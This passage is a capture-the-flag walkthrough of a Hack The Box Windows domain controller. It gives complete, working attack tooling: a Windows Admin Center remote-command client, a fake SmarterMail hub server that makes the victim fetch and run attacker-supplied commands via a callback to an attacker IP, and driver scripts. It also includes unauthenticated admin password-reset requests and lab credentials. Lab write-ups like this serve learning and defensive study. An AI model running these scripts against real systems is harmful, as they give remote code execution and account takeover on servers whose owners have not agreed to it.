Hack The Box - HTB danglingTree Writeup - Meduim - Weekly - August 08th, 2026
The box is called DanglingTree, and the name is the whole punchline — but I'm getting ahead of myself.
Everything below is the long version: what I ran, what came back, what failed, why it failed, and what each failure ruled out — plus the full source of every tool I wrote along the way. I wrote it so the reasoning is reconstructable, not just the winning commands. If you've ever read a writeup that goes "then I reversed the binary" like it's one afternoon's light work — this is the antidote.
Target: dc.danglingtree.htb, single-DC forest danglingtree.htb, Windows Server 2025 Build 26100
Difficulty: Medium
Attacker host: Kali, tun0 → <ATTACKER-IP>
One housekeeping note: the box moved between addresses while I worked, so <DC-IP> below means "whichever instance was alive at the time." I replayed the whole path end-to-end on a later instance, and the differences that surfaced are folded into Parts 6, 9.1 and 10.1, plus Appendix A.
Part 0 — Recon, and the shape of the first hours
0.1 Port scan
53/tcp domain Simple DNS Plus
80/tcp http Microsoft IIS 10.0 (default page, nothing on it)
88,464 kerberos/kpasswd
135,139,445,593 RPC / SMB / RPC-over-HTTP
389,636,3268,3269 LDAP / LDAPS / GC
443/tcp ssl/https cert CN=danglingtree-DC-CA
3389/tcp ms-wbt-server cert CN=dc.danglingtree.htb
6600/tcp mshvlm <- Windows Admin Center
9389/tcp adws
Port 6600 needs one step of identification. nmap only has a service label for it (mshvlm); what settles it is browsing the endpoint — https://<DC-IP>:6600 answers with the Windows Admin Center web UI and its login form. WAC is Microsoft's browser-based server management plane: you give it Windows credentials, pick a managed node, and it runs PowerShell, file, and task operations on that node over PS Remoting, as the account you logged in with. A management plane on an otherwise locked-down DC is the single most interesting thing on the port list, because it turns "I know a password" into "I can run PowerShell on the DC" — from outside, on a port that's reachable while WinRM's 5985 is filtered at the perimeter.
Two observations ended up carrying the whole engagement:
CN=danglingtree-DC-CA— the DC is also an Enterprise CA. On a Windows box of this difficulty that's rarely decoration. It's where the endgame lives.- Port 6600 — the management plane just described.
One more thing worth writing down early: nmap reported clock-skew 7h00m03s. File that away. It comes back seven working hours later, at the worst possible moment, at the Kerberos step.
0.2 Null-session SMB → the starting credential
Before touching any credential, enumerate shares anonymously — a null session costs nothing, and DCs occasionally answer it:
smbclient -N -L //<DC-IP>
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
IT Disk
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
One non-default share: IT. Listing it anonymously works — and so does reading into it:
smbclient -N //<DC-IP>/IT -c 'recurse on; ls'
\Security
DanglingTree_RoE_Assessment.pdf A 28905
smbclient -N //<DC-IP>/IT -c 'get Security\DanglingTree_RoE_Assessment.pdf'
A mock Rules-of-Engagement / assessment document, planted in a share that anonymous users can read. It contains exactly one account:
anderson.w : R3dT3am@Acc3ss#01
Everything else had to be earned.
The ACL quirk that hides this — and it's the reason I'm giving it its own paragraph: the same share denies authenticated low-privilege domain users. smbclient //<DC-IP>/IT -U anderson.w returns NT_STATUS_ACCESS_DENIED. Null allowed, domain user denied — backwards from how the world usually works. That inversion is why the share got written off mid-engagement as "presumably restricted to support-it" (there's a correction in Part 5, because the write-up itself originally repeated the wrong conclusion): every test had been run with credentials, and credentials are exactly what makes the share refuse you.
0.3 Enumeration before the foothold
| Attempt | Result | What it ruled out |
|---|---|---|
Kerberoast (jake.h, noah.b, svc_mail, Administrator) |
KDC_ERR_S_PRINCIPAL_UNKNOWN ×4 |
No SPNs on those accounts. Also: those names were guesses — the errors confirm nothing about whether the accounts even exist |
| AS-REP roast, same list | doesn't have UF_DONT_REQUIRE_PREAUTH |
No pre-auth-disabled accounts |
CN=Deleted Objects |
container readable, empty | No AD Recycle Bin angle — worth checking given the box's name |
BloodHound as anderson.w |
1 computer, 2 users, 33 groups | The directory is ACL-restricted; anderson.w can see only itself |
ldapsearch for all users as anderson.w |
one entry: anderson.w |
Same conclusion, confirmed directly |
That last row is the one that matters. anderson.w sits in OU=External,OU=Contractors and cannot read the directory. Standard AD enumeration was closed off. Everything had to come from the host itself.
0.4 The SmarterMail API phase, and the pivot
With the directory closed and WAC giving me execution on the node (Part 1), I turned to the mail stack — the service that, it turned out, owns SMTP/POP3/IMAP on loopback plus its management API on 17017. The first hours went into that HTTP API. My working directory ended up holding ~43 sm_*.ps1 probe scripts — every one an attempt at authentication or password recovery through the API. None of them worked.
The way out of that dead end was to stop talking to the API and start reading the product instead. I pulled SmarterMail.Standard.dll (36 MB) off the node through the API in 400 KB chunks with retry logic, and started reversing the password cipher. Parts 3 and 4 cover that arc in order — first why the API route cannot work, then how the offline recovery did. I'm telling you this up front so the ~40 failed scripts in Appendix A don't come as a shock: this box was not a straight line.
Part 1 — The foothold
1.1 Windows Admin Center
WAC doesn't take a plain form post. The login is a four-step handshake:
GET /→ scrapeid="csrf" value="..."POST /api/user/keywith that CSRF → the gateway returns an RSA public key as a JWK (n,e)- Build
{"username","password","csrf"}, encrypt with RSA-OAEP/SHA-256, base64 →packet POST /api/user/loginwith{packet, csrf}→WAC-SESSION,XSRF-TOKEN,WAC-TOKEN; mirrorXSRF-TOKENinto anX-XSRF-TOKENheader
Then execution:
POST /api/nodes/dc/features/powershellApi/invokeCommand
{"properties": {"command": "<powershell>"}}
python3 wac_rce.py 'anderson.w' 'R3dT3am@Acc3ss#01' 'whoami; hostname'
# danglingtree\anderson.w
# dc
Why does this work at all? WAC connects to the managed node over PS Remoting as the authenticated user. anderson.w is in BUILTIN\Remote Management Users — which is exactly the membership WinRM checks. So the gateway isn't a privilege escalation. It's a proxy that turns "I know a password" into "I can run PowerShell on the DC," from outside, on a port that's reachable when 5985 isn't.
wac_rce.py — the whole client, since you'll want it. The login is the four-step handshake above; run() is one POST to the PowerShell feature endpoint:
#!/usr/bin/env python3
"""WAC gateway login + WinREST PowerShell command execution."""
import json, base64, sys, re, os, urllib3
import requests
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes
urllib3.disable_warnings()
GW = 'https://%s:6600' % os.environ.get('DT_HOST', 'dc.danglingtree.htb')
def b64url_decode(s):
s += '=' * (-len(s) % 4)
return base64.urlsafe_b64decode(s)
def login(username, password):
s = requests.Session(); s.verify = False
r = s.get(GW + '/', timeout=30)
csrf = re.search(r'id="csrf" value="([0-9a-f]+)"', r.text).group(1)
r = s.post(GW + '/api/user/key', json={'csrf': csrf}, timeout=30)
jwk = r.json()['jwk']
n = int.from_bytes(b64url_decode(jwk['n']), 'big')
e = int.from_bytes(b64url_decode(jwk['e']), 'big')
pub = rsa.RSAPublicNumbers(e, n).public_key()
data = json.dumps({'username': username, 'password': password, 'csrf': csrf}).encode()
oaep = padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()), algorithm=hashes.SHA256(), label=None)
packet = base64.b64encode(pub.encrypt(data, oaep)).decode()
r = s.post(GW + '/api/user/login', json={'packet': packet, 'csrf': csrf}, timeout=30)
if r.status_code != 200:
print('login failed:', r.status_code, r.text[:200]); sys.exit(1)
xsrf = s.cookies.get('XSRF-TOKEN')
if xsrf:
s.headers.update({'X-XSRF-TOKEN': xsrf})
return s
def run(s, cmd):
url = GW + '/api/nodes/dc/features/powershellApi/invokeCommand'
r = s.post(url, json={'properties': {'command': cmd}}, timeout=180)
try:
j = r.json()
res = j.get('results') or []
out = '\n'.join(str(x) for x in res)
err = j.get('errors') or j.get('exception') or ''
return r.status_code, out, err
except Exception:
return r.status_code, r.text, ''
if __name__ == '__main__':
user, pw = sys.argv[1], sys.argv[2]
cmd = sys.argv[3]
s = login(user, pw)
code, out, err = run(s, cmd)
print(out)
if err:
print('--- errors ---')
print(err if isinstance(err, str) else json.dumps(err)[:2000])
wac_ps1.py — the companion that runs a local script file on the node. Note the encoding: UTF-16LE then base64, because that's what powershell -e expects. Get this wrong and your script silently runs nothing:
#!/usr/bin/env python3
"""Run a local .ps1 file on the DC via WAC invokeCommand (base64 encoded)."""
import sys, base64, json
import wac_rce
user = sys.argv[1]
pw = sys.argv[2]
ps1_file = sys.argv[3]
with open(ps1_file, 'rb') as f:
content = f.read()
b64 = base64.b64encode(content.decode('utf-8').encode('utf-16-le')).decode()
s = wac_rce.login(user, pw)
code, out, err = wac_rce.run(s, f'powershell -nop -e {b64}')
print(out)
if err:
print('--- errors ---')
print(err if isinstance(err, str) else json.dumps(err, indent=1)[:3000])
1.2 What anderson.w can and cannot do
whoami /all
BUILTIN\Remote Management Users
BUILTIN\Users
BUILTIN\Certificate Service DCOM Access
BUILTIN\Pre-Windows 2000 Compatible Access
Mandatory Label\Medium Plus Mandatory Level
SeMachineAccountPrivilege Enabled
SeChangeNotifyPrivilege Enabled
SeIncreaseWorkingSetPrivilege Enabled
Nothing exploitable. SeMachineAccountPrivilege is the default 10-machine quota, not a lever here.
Get-ChildItem C:\Users -Force
Administrator anderson.w noah.b svc_mail (+ Public, Default, .NET v4.5 …)
Four profiles — two names we'd never seen in AD. noah.b and svc_mail have logged on to this machine. The directory wouldn't tell us they existed; the filesystem did. Remember this trick — profile directories are a user list for people who can't read AD.
Things that failed here, each one informative:
| Command | Result | Meaning |
|---|---|---|
Get-Service |
Cannot open Service Control Manager … Access is denied |
anderson.w cannot even enumerate services |
Get-ChildItem C:\SmarterMail |
empty, no error under -EA SilentlyContinue |
Directory exists but is denied |
Get-ChildItem C:\Users\noah.b |
UnauthorizedAccessException |
Profile is properly ACL'd |
Get-ChildItem C:\Users\*\Desktop\*.txt |
nothing | No flag reachable as anderson.w |
netstat -ano did work (no privilege needed):
0.0.0.0:5985 LISTENING 4 <- WinRM, but filtered at the perimeter
0.0.0.0:6600 LISTENING <pid> <- WAC
0.0.0.0:17017 LISTENING <pid> <- ?
127.0.0.1:25 / 110 / 143 <pid> <- SMTP / POP3 / IMAP, loopback only
One process owns SMTP, POP3, IMAP and 17017. That's a mail server with a management API — and 17017 is SmarterMail's. It's bound to 0.0.0.0 but unreachable from outside because the host firewall only publishes the ports nmap found. But we're inside that boundary now.
1.3 Execution as svc_mail
Here's the mechanism: SmarterMail's high-availability join endpoint answers without authentication on loopback.
POST http://127.0.0.1:17017/api/v1/settings/sysadmin/connect-to-hub
{"hubAddress":"http://<ATTACKER-IP>:8082","oneTimePassword":"x","nodeName":"dc"}
The service then fetches its cluster configuration from hubAddress — an address we choose — and applies whatever comes back. The response includes a SystemMount block. When MountPath doesn't exist, the service runs CommandMount to bring the mount online. That's CVE-2026-23760.
The full loop, driven by svc_exec.sh:
Kali: fake_hub3.py listens on 8082 with the command baked in
→ WAC (as anderson.w) runs sm_hub.ps1 on the node
→ node calls its own 127.0.0.1:17017/connect-to-hub
→ node fetches http://<ATTACKER-IP>:8082/ from us
→ node runs CommandMount as svc_mail
→ output redirected to C:\ProgramData\svc_out.txt
→ WAC (as anderson.w) reads that file back
The three pieces, in full.
fake_hub3.py — the hub we stand up on Kali. The command is baked into the SystemMount it serves; the MountPath is randomized per request — and that's what makes the command fire every time. With a fixed path, the first run creates it, every run after that sees an existing mount, and nothing executes. That's the kind of detail that makes a working exploit look broken on the second attempt:
#!/usr/bin/env python3
"""Fake SmarterMail hub. Serves a SystemMount with a UNIQUE nonexistent MountPath
per request so the CommandMount always fires. Command read from argv."""
import sys, json, uuid
from http.server import BaseHTTPRequestHandler, HTTPServer
COMMAND = sys.argv[1] if len(sys.argv) > 1 else 'cmd /c whoami > C:\\ProgramData\\svc_out.txt'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8082
class H(BaseHTTPRequestHandler):
def _body(self):
ln = int(self.headers.get('Content-Length', 0))
return self.rfile.read(ln) if ln else b''
def do_POST(self):
self._body()
mount_path = 'C:\\smpwn_' + uuid.uuid4().hex[:8]
payload = {
"ClusterID": str(uuid.uuid4()),
"SharedSecret": "pwnd",
"TargetHubs": {"a": "b"},
"IsStandby": False,
"SystemMount": {
"Enabled": True,
"ReadOnly": False,
"MountPath": mount_path,
"CommandMount": COMMAND,
"UseArgumentsInCommand": False
},
"SystemAdminUsernames": ["svc_mail"]
}
body = json.dumps(payload).encode()
self.send_response(200)
self.send_header('Content-Type', 'application/json')
self.send_header('Content-Length', str(len(body)))
self.end_headers()
self.wfile.write(body)
print(f'[+] served mount, MountPath={mount_path}', flush=True)
def do_GET(self):
self.send_response(200); self.end_headers(); self.wfile.write(b'ok')
def log_message(self, *a):
pass
print(f'[*] hub on :{PORT} command: {COMMAND}', flush=True)
HTTPServer(('0.0.0.0', PORT), H).serve_forever()
sm_hub.ps1 — the node-side trigger, run through WAC as anderson.w. The only thing that ever changes is hubAddress — it must be the current tun0 address. If it's stale, the node never reaches the fake hub and the exploit fails silently, with no error on either side. Ask me how I know:
$ErrorActionPreference = 'Continue'
$base = 'http://127.0.0.1:17017'
$body = @{ hubAddress='http://<ATTACKER-IP>:8082'; oneTimePassword='x'; nodeName='dc' } | ConvertTo-Json -Compress
try {
$r = Invoke-WebRequest -Uri "$base/api/v1/settings/sysadmin/connect-to-hub" -Method POST -Body $body -ContentType 'application/json' -UseBasicParsing -TimeoutSec 60
Write-Output "STATUS: $($r.StatusCode)"
Write-Output "BODY: $($r.Content)"
} catch {
$msg = $_.ErrorDetails.Message; if (-not $msg) { $msg = $_.Exception.Message }
Write-Output "ERR: $msg"
}
svc_exec.sh — the driver that wires the whole loop together. The --ps mode shows the UTF-16LE encoding rule again; the readback uses [IO.File]::ReadAllText, never a child process (you'll see why in a minute):
#!/usr/bin/env bash
# svc_exec.sh '<command>' — run a command as svc_mail via SmarterMail connect-to-hub,
# capture output to C:\ProgramData\svc_out.txt, read it back as anderson.w via WAC.
# Usage: svc_exec.sh 'cmd /c whoami' OR svc_exec.sh --ps script.ps1 (runs ps1 base64)
set -e
DIR=<ENGAGEMENT-DIR>
OUTFILE='C:\ProgramData\svc_out.txt'
if [ "$1" = "--ps" ]; then
B64=$(iconv -t UTF-16LE "$2" | base64 -w0)
CMD="powershell -nop -e $B64"
else
CMD="$1"
fi
# wrap: run command, tee output to OUTFILE
FULL="cmd /c ($CMD) > $OUTFILE 2>&1"
pkill -f '[f]ake_hub' 2>/dev/null || true
sleep 1
cd "$DIR"
nohup python3 fake_hub3.py "$FULL" 8082 > /tmp/hub_driver.log 2>&1 & disown
sleep 1
# clear old output
python3 wac_rce.py 'anderson.w' 'R3dT3am@Acc3ss#01' "cmd /c del /f $OUTFILE" >/dev/null 2>&1 || true
# trigger
python3 wac_ps1.py 'anderson.w' 'R3dT3am@Acc3ss#01' sm_hub.ps1 2>&1 | grep -oE '"success":[a-z]+|Failed to mount' || true
sleep 5
pkill -f '[f]ake_hub' 2>/dev/null || true
echo '=== svc_mail output ==='
python3 wac_rce.py 'anderson.w' 'R3dT3am@Acc3ss#01' "[IO.File]::ReadAllText('C:\\ProgramData\\svc_out.txt')"
./svc_exec.sh 'cmd /c whoami'
# Failed to mount
# "success":false
# === svc_mail output ===
# danglingtree\svc_mail
See that Failed to mount / "success":false? That's expected and correct. The mount genuinely fails — the path is nonsense — but it fails after running the command. Anyone treating that message as an error will throw away a working exploit.
First failure
./svc_exec.sh --ps explore_sm.ps1 returned a wall of XML:
Cannot process the XML from the 'Output' stream of 'C:\WINDOWS\system32\cmd.exe':
Data at the root level is invalid. Line 1, position 1.
Cause: svc_exec.sh retrieved the output file with cmd /c type <file>. The WAC PowerShell channel captures child-process stdout and tries to deserialize it as CLIXML — the format PowerShell uses for remoting. Plain text isn't valid XML, so it throws before returning anything.
Fix: read the file inside PowerShell, never through a child process:
[IO.File]::ReadAllText('C:\ProgramData\svc_out.txt')
This applies to every read through that channel — several of the early probe scripts show the same workaround being rediscovered the hard way.
Part 2 — The mail store
With svc_mail in hand, C:\SmarterMail finally opens up:
C:\SmarterMail\Domains\danglingtree.htb <- live: one mailbox, svc_mail
C:\SmarterMail\Domains\danglingtree.htb.bak <- retained copy
└── Users\ amelia.r emma.s liam.m noah.b oliver.t sophia.k svc_mail
A retained copy of the domain, holding six mailboxes that no longer exist live — including noah.b, one of the four profiles on the box. Somebody migrated this domain and never threw the old copy away. Happens in real environments all the time, and it's exactly the kind of thing I hunt for first.
danglingtree.htb.bak\Users\noah.b\settings.json:
"account_name": "noah.b",
"display_name": "noah.b@danglingtree.htb",
"password_encrypted": "66e7ppLOBF7UdzDv7zK6MJ1rmyUb1Cby",
"password_last_change_utc": "2026-03-26T21:19:49Z"
Read that field name again: password_**encrypted** — not hashed. 32 base64 characters decodes to 24 bytes. Not a multiple of 16, so not AES; 24 is exactly three 8-byte blocks, which points at DES or 3DES. That guess turned out right, but I want to be honest: at this stage it was only a guess.
Domain settings, both live and retained:
"allow_show_password": false
And here's a trap worth knowing about: the service configuration is not under C:\SmarterMail (which holds only Certificates, Domains, Logs, Quarantine, Spool). It lives under the install directory, …\SmarterMail\Service\Settings\.
administrators.json
{"administrators":[{
"guid":"<sysadmin-guid>",
"username":"svc_mail",
"password_hash":"1000:<salt>:<hash>",
"description":"Primary System Administrator",
"is_primary_admin":true,
"can_impersonate":true,
"can_manage_admins":true,
"can_view_passwords_in_api":true, <---
"enabled":true
}]}
Look at that highlighted line: can_view_passwords_in_api: true, sitting on an account I might be able to take over. That's the advertised route — become that administrator, call /api/v1/settings/domain/show-password/, read noah.b's password back in plaintext. Clean, quick, no reversing required.
It does not work. The next part is why, in full — partly because the failure is genuinely instructive, and partly because I want to save anyone else from repeating it. This is the autopsy of those ~43 probe scripts from Part 0.4.
Part 3 — The SmarterMail API route, and why it's closed
3.1 Setting the administrator's password — works
POST /api/v1/auth/force-reset-password
{"IsSysAdmin":"true","OldPassword":"x","Username":"svc_mail",
"NewPassword":"Passw0rd!2026#","ConfirmPassword":"Passw0rd!2026#"}
{"success":true,"resultCode":200,
"debugInfo":"check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\ncheck5.2\r\ncheck6.2\r\ncheck7.2\r\ncheck8.2\r\n"}
Unauthenticated, and it succeeds. The .2-suffixed checkpoints are the system-administrator branch. And the write is real: administrators.json on disk updated with a new password_hash, a new password_last_change_utc, and the old hash appended to password_history_hashed.
So I can set the sysadmin's password to anything I want. Logging in with it, though…
3.2 Logging in with it — fails, five different ways
Attempt 1 — plain username, no Host header
{"success":false,"resultCode":401,"message":"LOGIN_FAILURE_DOMAIN_NOT_FOUND"}
Attempt 2 — Host header sweep. WebClient can't set Host on .NET Framework (restricted header), so this needed HttpWebRequest with .Host:
| Host | username | message |
|---|---|---|
| (none) | svc_mail |
LOGIN_FAILURE_DOMAIN_NOT_FOUND |
localhost |
svc_mail |
LOGIN_FAILURE_DOMAIN_NOT_FOUND |
danglingtree.htb |
svc_mail |
(empty) |
mail.danglingtree.htb |
svc_mail |
(empty) |
dc.danglingtree.htb |
svc_mail |
(empty) |
I initially misread that empty message as possible success — my summary function only recognised a token if it started with eyJ. Dumping the raw body settled it:
{"isAdmin":false,"canViewPasswords":false,"accessToken":"",
"success":false,"resultCode":401,"message":""}
401 with an empty message. A different failure from attempt 1, but still a failure. I felt clever for about ten minutes there.
Attempt 3 — reset the domain mailbox instead. If the mailbox svc_mail is what login resolves, take that over:
{"IsSysAdmin":"false","Username":"svc_mail@danglingtree.htb", …}
{"success":false,"resultCode":400,"message":"Invalid input parameters",
"debugInfo":"check1…check7\r\n"}
Fails at check7 on the non-administrator branch — that branch validates OldPassword. So force-reset-password is only a bypass for system administrators; ordinary mailboxes need the current password. Closed.
Attempt 4 — rename the administrator so it stops colliding. I edited administrators.json, "username":"svc_mail" → "smadmin", then reset smadmin:
{"success":false,"resultCode":400,"message":"USER_NOT_FOUND",
"debugInfo":"check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\n"}
USER_NOT_FOUND for an account that's right there in the file. That was the tell: the service holds the administrator list in memory. It writes that file; it does not re-read it. Every on-disk edit to SmarterMail's configuration is inert until a restart. That single fact invalidates a whole family of approaches — including the one I was about to try next: staging noah.b into the live domain by editing accounts.json and flipping allow_show_password. Which I had already done, and which therefore also did nothing.
File restored from the .orig copy I'd taken first. (Take backup copies before you edit live config. Every time.)
Attempt 5 — read the logs and find out what the server actually thinks. This is what finally explained everything.
C:\SmarterMail\Logs\<date>-administrative.log:
Webmail Attempting to login user: svc_mail
Webmail Login failed: Domain [htb] not found
Webmail Login failed: Incorrect password for user [svc_mail@danglingtree.htb]
Webmail Attempting to login user: smadmin
Webmail Login failed: Domain [htb] not found
Webmail Login failed: User [smadmin] not found
So the resolution order is: try to derive a domain → look for a mailbox → only then consult the administrator list. A mailbox named svc_mail exists, so the administrator is permanently shadowed by it.
And then <date>-generalErrors.log had the decisive entry — left over from the API probing phase:
ArgumentNullException Creating Token: EmailAddress: svc_mail, FullName: svc_mail,
UserName: svc_mail, RootEmailAddress: svc_mail, TTL: 60.00:00:00,
SysAdminId: ee7300a1-…, CanImpersonate: True, CanViewPasswords: True,
IsSystemAdmin: True, IsPrimarySystemAdmin: True, IsDomainAdmin: True, IsUser: True
Read that carefully. One of those early probes did authenticate as the system administrator. It got all the way to CanViewPasswords: True. And then token construction threw ArgumentNullException — the identity has EmailAddress: svc_mail, which is not an email address, and something downstream requires a domain part. The exception surfaces to the caller as a bare HTTP 401 with an empty message.
So the API route fails twice over: the name collision blocks the login path, and even when the login path is taken, no token can be issued. This isn't a configuration problem you can work around. It's broken. Dead end, confirmed by autopsy rather than by assumption — forty-three scripts' worth of assumption, to be precise.
3.3 Could a restart fix it? Yes — and I decided against it
Every blocker above dissolves on a restart: the renamed administrator loads, the staged mailbox loads, allow_show_password takes effect. So the obvious question: can I restart it?
Get-Service works as svc_mail (remember, it failed for anderson.w):
Name : MailService
State : Stopped
StartMode : Disabled
StartName : LocalSystem
ProcessId : 0
PathName : "C:\Program Files (x86)\SmarterTools\SmarterMail\Service\MailService.exe"
sc query MailService
STATE : 1 STOPPED
WIN32_EXIT_CODE : 1077 (ERROR_SERVICE_NEVER_STARTED)
Stopped, disabled, never started — and yet MailService.exe is running. And whoami /groups in that context shows:
NT AUTHORITY\INTERACTIVE
CONSOLE LOGON
Mandatory Label\Medium Mandatory Level
The service entry is disabled and has never started. The process was launched interactively, in a console session, as svc_mail. If I stop it, the SCM will not bring it back — and it's the only thing holding my svc_mail execution path open. sc sdshow MailService confirms I have no write access to the service anyway. Restarting would have meant killing the process and relaunching it myself from a detached child, betting that a console-session application restarts cleanly headless.
Decision: leave it alone. The upside was convenience; the downside was losing the execution path on a box that had already been reset once under me. Recovering the password offline was strictly safer and didn't depend on the service at all. Time to go reversing.
Part 4 — Recovering the stored password offline
4.1 Reflection in-process — failed
The obvious move when you have code execution on the box: load the assembly and call the decryption method directly.
[Reflection.Assembly]::LoadFrom("$svc\MailService.dll")
$asm.GetTypes() | ? { $_.GetMethods(...) -match 'Decrypt' }
Output: DONE. Zero types, no error surfaced.
Cause, understood later: MailService.runtimeconfig.json and MailService.deps.json in the install directory mean this is a .NET Core / .NET 5+ application. The WAC channel gives me Windows PowerShell 5.1, which runs on .NET Framework — and .NET Framework cannot load .NET Core assemblies. The try/catch around GetTypes() swallowed the load failure and produced an empty list, which looks identical to "found nothing."
Could I run it under the right runtime on the box? where dotnet → not found. The deployment ships its own runtime, but there's no SDK, no compiler, no host I could point at arbitrary code. Abandoned — the work has to happen on my machine, which means getting the binaries off the box.
4.2 Finding the right assembly
Rather than guess, I searched the binaries for the strings that must be there:
foreach dll in Service\*.dll:
read bytes, check ASCII and UTF-16 for
'password_encrypted' 'DecryptPassword' 'EncryptPassword' 'keymap2'
MailService.dll [25402 KB] -> password_encrypted, DecryptPassword,
EncryptPassword, GetDecryptedPassword
SmarterMail.Standard.dll [35490 KB] -> password_encrypted, keymap2
Two assemblies, split responsibilities. SmarterMail.Standard.dll was already local — pulled through the API back in Part 0.4, in those painful 400 KB chunks. MailService.dll was not.